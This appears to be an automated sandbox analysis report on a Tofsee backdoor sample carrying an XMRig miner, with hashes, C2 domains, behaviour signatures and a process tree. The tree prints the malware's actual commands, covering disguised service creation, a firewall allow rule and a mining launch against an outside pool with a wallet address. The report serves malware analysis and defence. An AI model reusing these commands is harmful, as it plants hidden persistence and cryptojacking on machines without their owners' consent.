Analysis

  • max time kernel
    193s
  • max time network
    223s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 21:41

General

  • Target

    35da7aab0d190d5aeb04eaaa179c1cbd2302004c7671d6c71bc078a3df97d652.exe

  • Size

    274KB

  • MD5

    59e1227450eb946f0eb83fad2f72b1f5

  • SHA1

    b78400bfe2fb0dbe892b1dff5220a7de2c43dfc6

  • SHA256

    35da7aab0d190d5aeb04eaaa179c1cbd2302004c7671d6c71bc078a3df97d652

  • SHA512

    19fd57f8a026cd2cc64f4d8ac99538b9d90f9a33a3d70c2061131ea5094a53fa0c4bf23a6adaf51d06bdd799236860311cb4f67e7503ac43259461aedfeda1c2

  • SSDEEP

    3072:QlnO9lcF4LS5ZUsBHS9R071uEcR647ovb3Trh6e:UnXKL+By9R0ooMMrT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\35da7aab0d190d5aeb04eaaa179c1cbd2302004c7671d6c71bc078a3df97d652.exe
    "C:\Users\Admin\AppData\Local\Temp\35da7aab0d190d5aeb04eaaa179c1cbd2302004c7671d6c71bc078a3df97d652.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\razfdlnl\
      2⤵
        PID:2768
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ecmnplou.exe" C:\Windows\SysWOW64\razfdlnl\
        2⤵
          PID:2536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create razfdlnl binPath= "C:\Windows\SysWOW64\razfdlnl\ecmnplou.exe /d\"C:\Users\Admin\AppData\Local\Temp\35da7aab0d190d5aeb04eaaa179c1cbd2302004c7671d6c71bc078a3df97d652.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description razfdlnl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2572
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start razfdlnl
          2⤵
          • Launches sc.exe
          PID:2552
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2140
      • C:\Windows\SysWOW64\razfdlnl\ecmnplou.exe
        C:\Windows\SysWOW64\razfdlnl\ecmnplou.exe /d"C:\Users\Admin\AppData\Local\Temp\35da7aab0d190d5aeb04eaaa179c1cbd2302004c7671d6c71bc078a3df97d652.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:268
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2916
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1416

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\ecmnplou.exe

              Filesize

              12.4MB

              MD5

              23b66904af62a49a1340fb42443f6c1d

              SHA1

              662d0c56066fa6c8924369a270380210142f87d1

              SHA256

              78ba47c3a44ccd7974e56677c3c308dbff6b806f05d9ad39814dd95ad77cf1d1

              SHA512

              703e3f6e18017178b73255a7f41a5aeb718fbc43c0505d2f3290b32f62c7ad5aad9d8edb0ef46926441cf96a66f79934c62d5a1d32a4248acbe5446a81b7df79

            • C:\Windows\SysWOW64\razfdlnl\ecmnplou.exe

              Filesize

              12.4MB

              MD5

              23b66904af62a49a1340fb42443f6c1d

              SHA1

              662d0c56066fa6c8924369a270380210142f87d1

              SHA256

              78ba47c3a44ccd7974e56677c3c308dbff6b806f05d9ad39814dd95ad77cf1d1

              SHA512

              703e3f6e18017178b73255a7f41a5aeb718fbc43c0505d2f3290b32f62c7ad5aad9d8edb0ef46926441cf96a66f79934c62d5a1d32a4248acbe5446a81b7df79

            • memory/268-12-0x0000000000230000-0x0000000000330000-memory.dmp

              Filesize

              1024KB

            • memory/268-14-0x0000000000400000-0x00000000004F9000-memory.dmp

              Filesize

              996KB

            • memory/268-19-0x0000000000400000-0x00000000004F9000-memory.dmp

              Filesize

              996KB

            • memory/1416-77-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/1416-76-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/1416-79-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/1416-78-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/1416-67-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/1416-71-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/1416-65-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/1416-75-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/2916-48-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-60-0x00000000002A0000-0x00000000002A7000-memory.dmp

              Filesize

              28KB

            • memory/2916-28-0x00000000019D0000-0x0000000001BDF000-memory.dmp

              Filesize

              2.1MB

            • memory/2916-25-0x00000000019D0000-0x0000000001BDF000-memory.dmp

              Filesize

              2.1MB

            • memory/2916-32-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-35-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-40-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-51-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-55-0x0000000000290000-0x0000000000295000-memory.dmp

              Filesize

              20KB

            • memory/2916-56-0x0000000005960000-0x0000000005D6B000-memory.dmp

              Filesize

              4.0MB

            • memory/2916-52-0x0000000000290000-0x0000000000295000-memory.dmp

              Filesize

              20KB

            • memory/2916-50-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-49-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-23-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2916-47-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-46-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-45-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-44-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-43-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-29-0x0000000000120000-0x0000000000126000-memory.dmp

              Filesize

              24KB

            • memory/2916-59-0x0000000005960000-0x0000000005D6B000-memory.dmp

              Filesize

              4.0MB

            • memory/2916-42-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-41-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-39-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-38-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-37-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-36-0x0000000000130000-0x0000000000140000-memory.dmp

              Filesize

              64KB

            • memory/2916-64-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2916-22-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2916-21-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2916-13-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2916-15-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2916-17-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/3028-1-0x00000000005A0000-0x00000000006A0000-memory.dmp

              Filesize

              1024KB

            • memory/3028-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/3028-3-0x0000000000400000-0x00000000004F9000-memory.dmp

              Filesize

              996KB

            • memory/3028-5-0x0000000000400000-0x00000000004F9000-memory.dmp

              Filesize

              996KB

            • memory/3028-9-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/3028-8-0x00000000005A0000-0x00000000006A0000-memory.dmp

              Filesize

              1024KB

            • memory/3028-7-0x0000000000400000-0x00000000004F9000-memory.dmp

              Filesize

              996KB